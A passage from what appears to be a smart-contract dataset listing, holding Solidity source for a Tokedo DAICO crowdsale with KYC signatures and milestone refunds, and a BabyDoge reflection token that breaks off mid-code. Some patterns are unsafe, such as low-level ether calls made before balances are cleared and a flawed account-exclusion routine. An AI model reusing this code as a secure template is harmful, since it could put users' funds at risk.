source_code
stringlengths 52
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stringclasses 1
value | input_ids
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|---|---|---|---|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender == owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(address(0) != _newOwner, "address(0) != _newOwner");
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "msg.sender == newOwner");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
function burn(uint256 _value) public returns(bool);
uint256 public totalSupply;
uint256 public decimals;
}
contract AtomaxKycInterface {
// false if the ico is not started, true if the ico is started and running, true if the ico is completed
function started() public view returns(bool);
// false if the ico is not started, false if the ico is started and running, true if the ico is completed
function ended() public view returns(bool);
// time stamp of the starting time of the ico, must return 0 if it depends on the block number
function startTime() public view returns(uint256);
// time stamp of the ending time of the ico, must retrun 0 if it depends on the block number
function endTime() public view returns(uint256);
// returns the total number of the tokens available for the sale, must not change when the ico is started
function totalTokens() public view returns(uint256);
// returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(),
// then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens()
function remainingTokens() public view returns(uint256);
// return the price as number of tokens released for each ether
function price() public view returns(uint256);
}
contract AtomaxKyc {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (bytes32 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, bytes32 buyerId, uint maxAmount);
constructor() internal {
isKycSigner[0x9787295cdAb28b6640bc7e7db52b447B56b1b1f0] = true; //ATOMAX KYC 1 SIGNER
isKycSigner[0x3b3f379e49cD95937121567EE696dB6657861FB0] = true; //ATOMAX KYC 2 SIGNER
}
// Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed
function releaseTokensTo(address buyer) internal returns(bool);
function buyTokensFor(address _buyerAddress, bytes32 _buyerId, uint _maxAmount, uint8 _v, bytes32 _r, bytes32 _s, uint8 _bv, bytes32 _br, bytes32 _bs) public payable returns (bool) {
bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount );
address signer = ecrecover(hash, _bv, _br, _bs);
require ( signer == _buyerAddress, "signer == _buyerAddress " );
return buyImplementation(_buyerAddress, _buyerId, _maxAmount, _v, _r, _s);
}
function buyTokens(bytes32 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) {
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount, uint8 _v, bytes32 _r, bytes32 _s) private returns (bool) {
// check the signature
bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount );
address signer = ecrecover(hash, _v, _r, _s);
require( isKycSigner[signer], "isKycSigner[signer]");
uint256 totalPayed = alreadyPayed[_buyerId].add(msg.value);
require(totalPayed <= _maxAmount);
alreadyPayed[_buyerId] = totalPayed;
emit KycVerified(signer, _buyerAddress, _buyerId, _maxAmount);
return releaseTokensTo(_buyerAddress);
}
function hasher (address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount) public view returns ( bytes32 hash ) {
hash = keccak256(abi.encodePacked("Atomax authorization:", this, _buyerAddress, _buyerId, _maxAmount));
}
}
contract RC_KYC is AtomaxKycInterface, AtomaxKyc {
using SafeMath for uint256;
TokedoDaico tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public etherMinimum;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public tokenPrice;
mapping(address => uint256) public etherUser; // address => ether amount
mapping(address => uint256) public pendingTokenUser; // address => token amount that will be claimed after KYC
mapping(address => uint256) public tokenUser; // address => token amount owned
constructor(address _tokenSaleContract, uint256 _tokenPrice, uint256 _remainingTokens, uint256 _etherMinimum, uint256 _startTime , uint256 _endTime) public {
require ( _tokenSaleContract != address(0), "_tokenSaleContract != address(0)" );
require ( _tokenPrice != 0, "_tokenPrice != 0" );
require ( _remainingTokens != 0, "_remainingTokens != 0" );
require ( _startTime != 0, "_startTime != 0" );
require ( _endTime != 0, "_endTime != 0" );
tokenSaleContract = TokedoDaico(_tokenSaleContract);
soldTokens = 0;
remainingTokens = _remainingTokens;
tokenPrice = _tokenPrice;
etherMinimum = _etherMinimum;
startTime = _startTime;
endTime = _endTime;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner() );
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
function changeMinimum(uint256 _newEtherMinimum) public onlyTokenSaleOwner {
etherMinimum = _newEtherMinimum;
}
function releaseTokensTo(address buyer) internal returns(bool) {
if( msg.value > 0 ) takeEther(buyer);
giveToken(buyer);
return true;
}
function started() public view returns(bool) {
return now > startTime || remainingTokens == 0;
}
function ended() public view returns(bool) {
return now > endTime || remainingTokens == 0;
}
function startTime() public view returns(uint) {
return startTime;
}
function endTime() public view returns(uint) {
return endTime;
}
function totalTokens() public view returns(uint) {
return remainingTokens.add(soldTokens);
}
function remainingTokens() public view returns(uint) {
return remainingTokens;
}
function price() public view returns(uint) {
return uint256(1 ether).div( tokenPrice ).mul( 10 ** uint256(tokenSaleContract.decimals()) );
}
function () public payable{
takeEther(msg.sender);
}
event TakeEther(address buyer, uint256 value, uint256 soldToken, uint256 tokenPrice );
function takeEther(address _buyer) internal {
require( now > startTime, "now > startTime" );
require( now < endTime, "now < endTime");
require( msg.value >= etherMinimum, "msg.value >= etherMinimum");
require( remainingTokens > 0, "remainingTokens > 0" );
uint256 oneToken = 10 ** uint256(tokenSaleContract.decimals());
uint256 tokenAmount = msg.value.mul( oneToken ).div( tokenPrice );
uint256 remainingTokensGlobal = tokenInterface( tokenSaleContract.tokenContract() ).balanceOf( address(tokenSaleContract) );
uint256 remainingTokensApplied;
if ( remainingTokensGlobal > remainingTokens ) {
remainingTokensApplied = remainingTokens;
} else {
remainingTokensApplied = remainingTokensGlobal;
}
uint256 refund = 0;
if ( remainingTokensApplied < tokenAmount ) {
refund = (tokenAmount - remainingTokensApplied).mul(tokenPrice).div(oneToken);
tokenAmount = remainingTokensApplied;
remainingTokens = 0; // set remaining token to 0
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus
}
etherUser[_buyer] = etherUser[_buyer].add(msg.value.sub(refund));
pendingTokenUser[_buyer] = pendingTokenUser[_buyer].add(tokenAmount);
emit TakeEther( _buyer, msg.value, tokenAmount, tokenPrice );
}
function giveToken(address _buyer) internal {
require( pendingTokenUser[_buyer] > 0, "pendingTokenUser[_buyer] > 0" );
tokenUser[_buyer] = tokenUser[_buyer].add(pendingTokenUser[_buyer]);
tokenSaleContract.sendTokens(_buyer, pendingTokenUser[_buyer]);
soldTokens = soldTokens.add(pendingTokenUser[_buyer]);
pendingTokenUser[_buyer] = 0;
require( address(tokenSaleContract).call.value( etherUser[_buyer] )( bytes4( keccak256("forwardEther()") ) ) );
etherUser[_buyer] = 0;
}
function refundEther(address to) public onlyTokenSaleOwner {
to.transfer(etherUser[to]);
etherUser[to] = 0;
pendingTokenUser[to] = 0;
}
function withdraw(address to, uint256 value) public onlyTokenSaleOwner {
to.transfer(value);
}
function userBalance(address _user) public view returns( uint256 _pendingTokenUser, uint256 _tokenUser, uint256 _etherUser ) {
return (pendingTokenUser[_user], tokenUser[_user], etherUser[_user]);
}
}
contract TokedoDaico is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
address public milestoneSystem;
uint256 public decimals;
uint256 public tokenPrice;
mapping(address => bool) public rc;
constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public {
tokenContract = tokenInterface(_tokenAddress);
decimals = tokenContract.decimals();
tokenPrice = _tokenPrice;
milestoneSystem = new MilestoneSystem(_wallet,_tokenAddress, _time, _funds, _tokenPrice, _activeSupply);
}
modifier onlyRC() {
require( rc[msg.sender], "rc[msg.sender]" ); //check if is an authorized rcContract
_;
}
function forwardEther() onlyRC payable public returns(bool) {
require(milestoneSystem.call.value(msg.value)(), "wallet.call.value(msg.value)()");
return true;
}
function sendTokens(address _buyer, uint256 _amount) onlyRC public returns(bool) {
return tokenContract.transfer(_buyer, _amount);
}
event NewRC(address contr);
function addRC(address _rc) onlyOwner public {
rc[ _rc ] = true;
emit NewRC(_rc);
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
}
contract MilestoneSystem {
using SafeMath for uint256;
tokenInterface public tokenContract;
TokedoDaico public tokenSaleContract;
uint256[] public time;
uint256[] public funds;
bool public locked = false;
uint256 public endTimeToReturnTokens;
uint8 public step = 0;
uint256 public constant timeframeMilestone = 3 days;
uint256 public constant timeframeDeath = 30 days;
uint256 public activeSupply;
uint256 public tokenPrice;
uint256 public etherReceived;
address public wallet;
mapping(address => mapping(uint8 => uint256) ) public balance;
mapping(uint8 => uint256) public tokenDistrusted;
constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public {
require( _wallet != address(0), "_wallet != address(0)" );
require( _time.length != 0, "_time.length != 0" );
require( _time.length == _funds.length, "_time.length == _funds.length" );
wallet = _wallet;
tokenContract = tokenInterface(_tokenAddress);
tokenSaleContract = TokedoDaico(msg.sender);
time = _time;
funds = _funds;
activeSupply = _activeSupply;
tokenPrice = _tokenPrice;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner(), "msg.sender == tokenSaleContract.owner()" );
_;
}
event Distrust(address sender, uint256 amount);
event Locked();
function distrust(address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
if ( !locked ) {
uint256 startTimeMilestone = time[step].sub(timeframeMilestone);
uint256 endTimeMilestone = time[step];
uint256 startTimeProjectDeath = time[step].add(timeframeDeath);
bool unclaimedFunds = funds[step] > 0;
require(
( now > startTimeMilestone && now < endTimeMilestone ) ||
( now > startTimeProjectDeath && unclaimedFunds ),
"( now > startTimeMilestone && now < endTimeMilestone ) || ( now > startTimeProjectDeath && unclaimedFunds )"
);
} else {
require( locked && now < endTimeToReturnTokens ); //a timeframePost to deposit all tokens and then claim the refundMe method
}
balance[_from][step] = balance[_from][step].add(_value);
tokenDistrusted[step] = tokenDistrusted[step].add(_value);
emit Distrust(msg.sender, _value);
if( tokenDistrusted[step] > activeSupply && !locked ) {
locked = true;
endTimeToReturnTokens = now.add(timeframeDeath);
emit Locked();
}
}
function tokenFallback(address _from, uint _value, bytes _data) public {
distrust( _from, _value, _data);
}
function receiveApproval( address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
require(msg.sender.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, this, _value));
distrust( _from, _value, _data);
}
event Trust(address sender, uint256 amount);
event Unlocked();
function trust(uint8 _step) public {
require( balance[msg.sender][_step] > 0 , "balance[msg.sender] > 0");
uint256 amount = balance[msg.sender][_step];
balance[msg.sender][_step] = 0;
tokenDistrusted[_step] = tokenDistrusted[_step].sub(amount);
tokenContract.transfer(msg.sender, amount);
emit Trust(msg.sender, amount);
if( tokenDistrusted[step] <= activeSupply && locked ) {
locked = false;
endTimeToReturnTokens = 0;
emit Unlocked();
}
}
event Refund(address sender, uint256 money);
function refundMe() public {
require(locked, "locked");
require( now > endTimeToReturnTokens, "now > endTimeToReturnTokens" );
uint256 ethTot = address(this).balance;
require( ethTot > 0 , "ethTot > 0");
uint256 tknAmount = balance[msg.sender][step];
require( tknAmount > 0 , "tknAmount > 0");
balance[msg.sender][step] = 0;
tokenContract.burn(tknAmount);
uint256 tknTot = tokenDistrusted[step];
uint256 rate = tknAmount.mul(1e18).div(tknTot);
uint256 money = ethTot.mul(rate).div(1e18);
if( money > address(this).balance ) {
money = address(this).balance;
}
msg.sender.transfer(money);
emit Refund(msg.sender, money);
}
function ownerWithdraw() public onlyTokenSaleOwner {
require(!locked, "!locked");
require(now > time[step], "now > time[step]");
require(funds[step] > 0, "funds[step] > 0");
uint256 amountApplied = funds[step];
funds[step] = 0;
step = step+1;
uint256 value;
if( amountApplied > address(this).balance || time.length == step+1)
value = address(this).balance;
else {
value = amountApplied;
}
msg.sender.transfer(value);
}
function ownerWithdrawTokens(address _tokenContract, address to, uint256 value) public onlyTokenSaleOwner returns (bool) { //for airdrop reason to distribute to Tokedo Token Holder
require( _tokenContract != address(tokenContract), "_tokenContract != address(tokenContract)"); // the owner can withdraw tokens except Tokedo Tokens
return tokenInterface(_tokenContract).transfer(to, value);
}
function setWallet(address _wallet) public onlyTokenSaleOwner returns(bool) {
require( _wallet != address(0), "_wallet != address(0)" );
wallet = _wallet;
return true;
}
function () public payable {
require(msg.sender == address(tokenSaleContract), "msg.sender == address(tokenSaleContract)");
if( etherReceived < funds[0] ) {
require( wallet != address(0), "wallet != address(0)" );
wallet.transfer(msg.value);
}
etherReceived = etherReceived.add(msg.value);
}
}
|
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pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BABYDOGECOIN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'BabyDoge Coin';
string private _symbol = 'BABYDOGE';
uint8 private _decimals = 9;
uint8 public transfertimeout = 15;
uint256 public _maxTxAmount = 10000000 * 10**6 * 10**9;
address public uniswapPair;
mapping (address => uint256) public lastBuy;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
//save last buy
if (sender == uniswapPair){
lastBuy[recipient] = block.timestamp;
}
//check if sell
if (recipient == uniswapPair){
require(block.timestamp >= lastBuy[sender] + transfertimeout, "15s lock");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
